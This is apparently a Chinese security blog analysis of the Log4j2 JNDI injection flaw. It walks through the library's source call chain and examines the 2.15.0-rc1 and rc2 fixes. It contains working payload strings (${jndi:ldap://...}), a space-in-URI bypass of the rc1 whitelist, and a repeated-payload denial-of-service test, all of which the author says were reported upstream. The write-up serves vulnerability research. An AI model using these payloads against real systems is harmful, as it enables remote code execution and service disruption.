Log4j2
是Java
开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告
POC比较简单
public static void main(String[] args) throws Exception {
logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
}
截图如下
首先来看RCE是怎样的原理,先来一段又臭又长的流程分析
看看从logger.error
到JndiLookup.lookup
中间经历了些什么
从logger.error()
层层跟到AbstractLogger.tryLogMessage.log
方法
xxxxxxxxxx
private void tryLogMessage(final String fqcn,
final StackTraceElement location,
final Level level,
final Marker marker,
final Message message,
final Throwable throwable) {
try {
log(level, marker, fqcn, location, message, throwable);
} catch (final Exception e) {
handleLogMessageException(e, fqcn, message);
}
}
不动态调试的情况下跟log
方法会到AbstractLogger.log
方法,实际上这里是org.apache.logging.log4j.core.Loggger.log
方法
xxxxxxxxxx
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location,
final Message message, final Throwable throwable) {
final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();
if (strategy instanceof LocationAwareReliabilityStrategy) {
// 触发点
((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,
message, throwable);
} else {
strategy.log(this, getName(), fqcn, marker, level, message, throwable);
}
}
跟入这里的log
方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log
xxxxxxxxxx
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,
final StackTraceElement location, final Marker marker, final Level level, final Message data,
final Throwable t) {
loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
}
进入LoggerConfig.log
方法
xxxxxxxxxx
"allocation") (
public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,
final Level level, final Message data, final Throwable t) {
// 无需关心的代码
...
try {
// 跟入
log(logEvent, LoggerConfigPredicate.ALL);
} finally {
ReusableLogEventFactory.release(logEvent);
}
}
进入LoggerConfig
另一处重载log
方法
xxxxxxxxxx
protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {
if (!isFiltered(event)) {
// 跟入
processLogEvent(event, predicate);
}
}
xxxxxxxxxx
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
// 关键点
callAppenders(event);
}
logParent(event, predicate);
}
可以看到调用appender.control
的callAppender
方法
xxxxxxxxxx
"allocation") (
protected void callAppenders(final LogEvent event) {
final AppenderControl[] controls = appenders.get();
//noinspection ForLoopReplaceableByForEach
for (int i = 0; i < controls.length; i++) {
controls[i].callAppender(event);
}
}
层层跟入到AppenderControl.tryCallAppender
方法
xxxxxxxxxx
private void callAppender0(final LogEvent event) {
ensureAppenderStarted();
if (!isFilteredByAppender(event)) {
// 跟入
tryCallAppender(event);
}
}
xxxxxxxxxx
private void tryCallAppender(final LogEvent event) {
try {
// 跟入
appender.append(event);
} catch (final RuntimeException error) {
handleAppenderError(event, error);
} catch (final Exception error) {
handleAppenderError(event, new AppenderLoggingException(error));
}
}
进入AbstractOutputStreamAppender.append
方法,进入到directEncodeEvent
方法
xxxxxxxxxx
protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
关注其中的encode
方法跟入到PatternLayout.encode
方法
xxxxxxxxxx
public void encode(final LogEvent event, final ByteBufferDestination destination) {
if (!(eventSerializer instanceof Serializer2)) {
super.encode(event, destination);
return;
}
final StringBuilder text = toText((Serializer2) eventSerializer, event, getStringBuilder());
final Encoder<StringBuilder> encoder = getStringBuilderEncoder();
encoder.encode(text, destination);
trimToMaxSize(text);
}
不用关心多余的代码,这里触发点在toText
方法
xxxxxxxxxx
private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
final StringBuilder destination) {
return serializer.toSerializable(event, destination);
}
xxxxxxxxxx
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
// 发现其中某一处format方法触发漏洞
formatters[i].format(event, buffer);
}
if (replace != null) {
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
这里的formatters
方法包含了多个formatter
对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter
跟入看到调用了Converter
相关的方法
xxxxxxxxxx
public void format(final LogEvent event, final StringBuilder buf) {
if (skipFormattingInfo) {
converter.format(event, buf);
} else {
formatWithInfo(event, buf);
}
}
不难看出每个formatter
和converter
为了构造日志的每一部分,这里在构造真正的日志信息字符串部分
跟入MessagePatternConverter.format
方法,看到核心的部分
x
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
} else {
((StringBuilderFormattable) msg).formatTo(workingBuilder);
}
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
// 是否以${开头
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
// 这个value是:${jndi:ldap://127.0.0.1:1389/badClassName}
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
// 跟入replace方法
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage) msg).getFormattedMessage(formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(config != null && result.contains("${")
? config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
进入StrSubstitutor.replace
方法
xxxxxxxxxx
public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
}
final StringBuilder buf = new StringBuilder(source);
// 跟入
if (!substitute(event, buf, 0, source.length())) {
return source;
}
return buf.toString();
}
跟入StrSubstitutor.subtute
方法,存在递归,逻辑较长
主要作用是递归处理日志输入,转为对应的输出
xxxxxxxxxx
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
其实这里是出发漏洞的必要条件,通常情况下程序员会这样写日志相关代码
logger.error("error_message:" + info);
黑客的恶意输入有可能进入info
变量导致这里变成
logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName
进入resolveVariable
方法
经过调试确认了关键方法resolveVariable
xxxxxxxxxx
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
// 进入
return resolver.lookup(event, variableName);
}
跟入这里的lookup
可以看到很多师傅们截图的方法
xxxxxxxxxx
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
// 关键
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
// 这里的name是:ldap://127.0.0.1:1389/badClassName
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
这里的strLookupMap
中包含了多种Lookup
对象
类似地,可以看这样利用
xxxxxxxxxx
logger.error("${java:runtime}");
// 打印
00:36:26.312 [main] ERROR Main - Java(TM) SE Runtime Environment (build 1.8.0_131-b11) from Oracle Corporation
跟入JndiLookup.lookup
xxxxxxxxxx
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
// 跟入lookup
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
return null;
}
}
最后触发点JndiManager.lookup
xxxxxxxxxx
"unchecked") (
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
修复版本2.15.0-rc1
跟了下流程发现到PatternLayout.toSerializable
方法发生了变化
不过这里的变化没有什么影响,其中的formatters
属性的变化导致了${}
不会被处理
xxxxxxxxxx
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
for (PatternFormatter formatter : formatters) {
formatter.format(event, buffer);
}
return buffer;
}
上文提到这里某个formatter
包含了MessagePatternConverter
在修复后变成了MessagePatternConverter.SimplePatternConverter
类
可以发现在这个类中变成了直接拼接字符串的操作,不去判断${}
这种情况
xxxxxxxxxx
private static final class SimpleMessagePatternConverter extends MessagePatternConverter {
private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
// 直接拼接字符串
if (msg instanceof StringBuilderFormattable) {
((StringBuilderFormattable) msg).formatTo(toAppendTo);
} else if (msg != null) {
toAppendTo.append(msg.getFormattedMessage());
}
}
}
注意到另一个子类LookupMessagePatternConverter
如果Converter
被设置为该类,那么会继续进行${}
的处理
xxxxxxxxxx
private static final class LookupMessagePatternConverter extends MessagePatternConverter {
private final MessagePatternConverter delegate;
private final Configuration config;
LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {
this.delegate = delegate;
this.config = config;
}
public void format(final LogEvent event, final StringBuilder toAppendTo) {
int start = toAppendTo.length();
delegate.format(event, toAppendTo);
// 判断${}
int indexOfSubstitution = toAppendTo.indexOf("${", start);
if (indexOfSubstitution >= 0) {
config.getStrSubstitutor()
// 进入了上文的流程
.replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);
}
}
}
具体需要设置为哪一个子类取决于用户的配置
xxxxxxxxxx
private static final String LOOKUPS = "lookups";
private static final String NOLOOKUPS = "nolookups";
public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
boolean lookups = loadLookups(options);
String[] formats = withoutLookupOptions(options);
TextRenderer textRenderer = loadMessageRenderer(formats);
// 默认不配置lookup功能
MessagePatternConverter result = formats == null || formats.length == 0
? SimpleMessagePatternConverter.INSTANCE
: new FormattedMessagePatternConverter(formats);
if (lookups && config != null) {
// 只有用户进行配置才会触发
result = new LookupMessagePatternConverter(result, config);
}
if (textRenderer != null) {
result = new RenderingPatternConverter(result, textRenderer);
}
return result;
}
于是想办法开启lookup
功能分析后续有没有限制
xxxxxxxxxx
final Configuration config = new DefaultConfigurationBuilder().build(true);
// 配置开启lookup功能
final MessagePatternConverter converter =
MessagePatternConverter.newInstance(config, new String[] {"lookups"});
final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1:1389/badClassName}");
final LogEvent event = Log4jLogEvent.newBuilder()
.setLoggerName("MyLogger")
.setLevel(Level.DEBUG)
.setMessage(msg).build();
final StringBuilder sb = new StringBuilder();
converter.format(event, sb);
System.out.println(sb);
成功开启lookups
功能,调用LookupMessagePatternConverter.fomat
方法
递归处理等过程均没有变化,最后JndiManager.lookup
触发漏洞的地方进行了修改
xxxxxxxxxx
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
// 允许的协议白名单
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
// 允许的host白名单
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
// 参考下图我们这种Payload不存在javaSerializedData头
// 所以不会进入类白名单判断
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
// 类名白名单
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
// 不允许REFERENCE这种加载对象的方式
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
看看实际运行中,这几个白名单是怎样的
默认的协议是:java
,ldap
,ldaps
默认数据类型是八大基本数据类型
默认的Host白名单是localhost
实际上拦住Payload
是在最后一处OBJECT_FACTORY
判断
由于RCE一定需要加载远程对象,那么避免不了javaFactory
属性(或者有一些其他思路,笔者刚做Java安全不了解)
看起来无懈可击,然而这里有一处细节问题
xxxxxxxxxx
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
...
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
如果发生了URISyntaxException
异常会直接this.context.lookup
能否想办法让new URI(name);
时候报错但name
传入context.lookup(name);
时正常
经过测试发现URI
中不进行URL
编码会报这个错,加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}
成功RCE(需要用户开启lookup
功能的基础上才可以)
RC2的修复方案是直接return,有效解决了上文的绕过
xxxxxxxxxx
try{
} catch (URISyntaxException ex) {
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
return (T) this.context.lookup(name);
不过这种修改方式是存在拒绝服务漏洞的,笔者向Apache
发送邮件反馈,得到了认可
当开启lookup
功能的时候
${}
字符串127.0.0.1
回到lookup
方法中的修复代码加入计时代码
发现Attributes attributes = this.context.getAttributes(name);
会耗时两秒
xxxxxxxxxx
URI uri = new URI(name);
if (uri.getScheme() != null) {
// LDAP协议正常通过白名单
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
// 127.0.0.1绕过Host白名单
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
// 计时
long startTime = System.currentTimeMillis();
System.out.println("start");
// 成功执行该耗时方法
Attributes attributes = this.context.getAttributes(name);
System.out.println("finish");
// 打印2000左右
System.out.println("cost: "+(System.currentTimeMillis()-startTime)+"ms");
...
}
上文没有对Host
白名单部分做分析,在这里需要看一下
xxxxxxxxxx
private static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();
public JndiManager createManager(final String name, final Properties data) {
...
// 关键
addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data);
...
try {
return new JndiManager(name, new InitialDirContext(data), allowedHosts, allowedClasses,
allowedProtocols);
} catch (final NamingException e) {
LOGGER.error("Error creating JNDI InitialContext.", e);
return null;
}
}
看到addAll
方法简单地将第3个参数list合并到第2个中
xxxxxxxxxx
private void addAll(String toSplit, List<String> list, List<String> permanentList, String propertyName,
Properties data) {
...
// 将第3个参数放入第2个参数list中
list.addAll(permanentList);
}
而getLocalIps
的方法只看前几行就够了,加入了localhost
xxxxxxxxxx
public static List<String> getLocalIps() {
List<String> localIps = new ArrayList<>();
localIps.add("localhost");
localIps.add("127.0.0.1");
...
return localIps;
}
回到测试用例中开启lookup
方法,将payload
设置为6个,运行后发现耗时12秒
xxxxxxxxxx
public void testLookup() {
final Configuration config = new DefaultConfigurationBuilder().build(true);
final MessagePatternConverter converter =
MessagePatternConverter.newInstance(config, new String[]{"lookups"});
final Message msg = new ParameterizedMessage("${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}");
final LogEvent event = Log4jLogEvent.newBuilder()
.setLoggerName("MyLogger")
.setLevel(Level.DEBUG)
.setMessage(msg).build();
final StringBuilder sb = new StringBuilder();
// 计时
long startTime = System.currentTimeMillis();
converter.format(event, sb);
System.out.println(sb.toString());
System.out.println("cost: " + (System.currentTimeMillis() - startTime));
}
最后来回顾一个问题,为什么${}${}${}...
会被解析成多个?
因为开启lookup
功能会进入StrSubstitutor.subtute
方法递归查找字符串中的${}
然后逐个解析
如果设置很多的${}
会导致更长时间的拒绝服务
不过这种漏洞很鸡肋,而且得开启lookup
功能,想不到什么利用场景,就图一乐了